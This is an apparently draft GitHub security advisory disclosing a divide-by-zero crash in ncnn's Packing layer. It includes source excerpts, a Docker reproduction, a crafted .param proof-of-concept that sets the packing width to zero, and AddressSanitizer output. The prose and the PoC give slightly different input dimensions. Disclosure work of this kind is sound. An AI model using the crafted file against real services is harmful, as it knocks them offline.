GitHub Advisory Manager
All advisories
Draft

Packing Parameter Divide-By-Zero Denial Of Service

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Packing Parameter Divide-By-Zero Denial Of Service

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/packing.cpp:51 in Packing::forward
Sanitizer verdict: FPE on unknown address 0x56327bcfb743 (pc 0x56327bcfb743 bp 0x7fff6d5e48b0 sp 0x7fff6d5e3b30 T0)

Summary

The Packing layer copies parameter key 0 straight into out_elempack without rejecting zero, and the generic forward path then computes a modulo by that value. A crafted .param file therefore makes ncnnoptimize execute an integer division by zero during shape inference and abort. The entry point is ncnnoptimize, which loads the file via Net::load_param() and runs each layer through ModelWriter::shape_inference(). No memory corruption is involved; the impact is process termination.

Detail

Packing::load_param() performs no validation on the packing width.

// src/layer/packing.cpp:14
int Packing::load_param(const ParamDict& pd)
{
    out_elempack = pd.get(0, 1);
    use_padding = pd.get(1, 0);

On x86 the layer is dispatched to Packing_x86::forward(), which enumerates the twelve packing conversions it has hand-written SIMD code for (1->4, 4->1, 1->8, ... 16->8) and delegates anything else to the base class.

// src/layer/x86/packing_x86.cpp:63
    if (!pack1to4 && !pack4to1 && !pack1to8 && !pack8to1 && !pack4to8 && !pack8to4 && !pack1to16 && !pack16to1 && !pack4to16 && !pack16to4 && !pack8to16 && !pack16to8)
    {
        return Packing::forward(bottom_blob, top_blob, opt);
    }

out_elempack == 0 matches none of those predicates, so the zero value is passed on unchanged. The base implementation's first use of it is the use_padding == 0 identity shortcut, which divides by it.

// src/layer/packing.cpp:43
    if (!use_padding)
    {
        // identity if use_padding not allowed
        if (dims == 1 && w * elempack % out_elempack != 0)
        {
            top_blob = bottom_blob;
            return 0;
        }
        if (dims == 2 && h * elempack % out_elempack != 0)
        {
            top_blob = bottom_blob;
            return 0;
        }

The PoC declares Input data 0 1 data 0=2 1=2 — a 2x2 rank-2 tensor — followed by Packing pack 1 1 data packed 0=0. use_padding defaults to 0 and the input's elempack is 1, so the dims == 2 test at line 51 evaluates 2 * 1 % 0. The idiv traps, and ASan reports it as FPE at src/layer/packing.cpp:51 during the shape-inference extraction. The earlier elempack == out_elempack shortcut at line 29 offers no protection, since a real input tensor never has elempack == 0.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC) 
mkdir -p ncnn-poc-packing-parameter-divide-by-zero-denial-of-service && cd ncnn-poc-packing-parameter-divide-by-zero-denial-of-service

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
2 2
Input d 0 1 d 0=1 1=1
Packing p 1 1 d o 0=0
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x63bed1ef1743 (pc 0x63bed1ef1743 bp 0x7fff0c8c3570 sp 0x7fff0c8c27f0 T0)
    #0 0x63bed1ef1743 in ncnn::Packing::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/packing.cpp:51
    #1 0x63bed204c79d in ncnn::Packing_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/packing_x86_avx512.cpp:65
    #2 0x63becc4eff2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #3 0x63becc4e1b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x63becc5419e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x63becc3d33c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x63becc450eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x7d22148251c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x7d221482528a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x63becc3d0624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/packing.cpp:51 in ncnn::Packing::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING

Credit

Zheng Yu @ DepthFirst

Discuss
Submit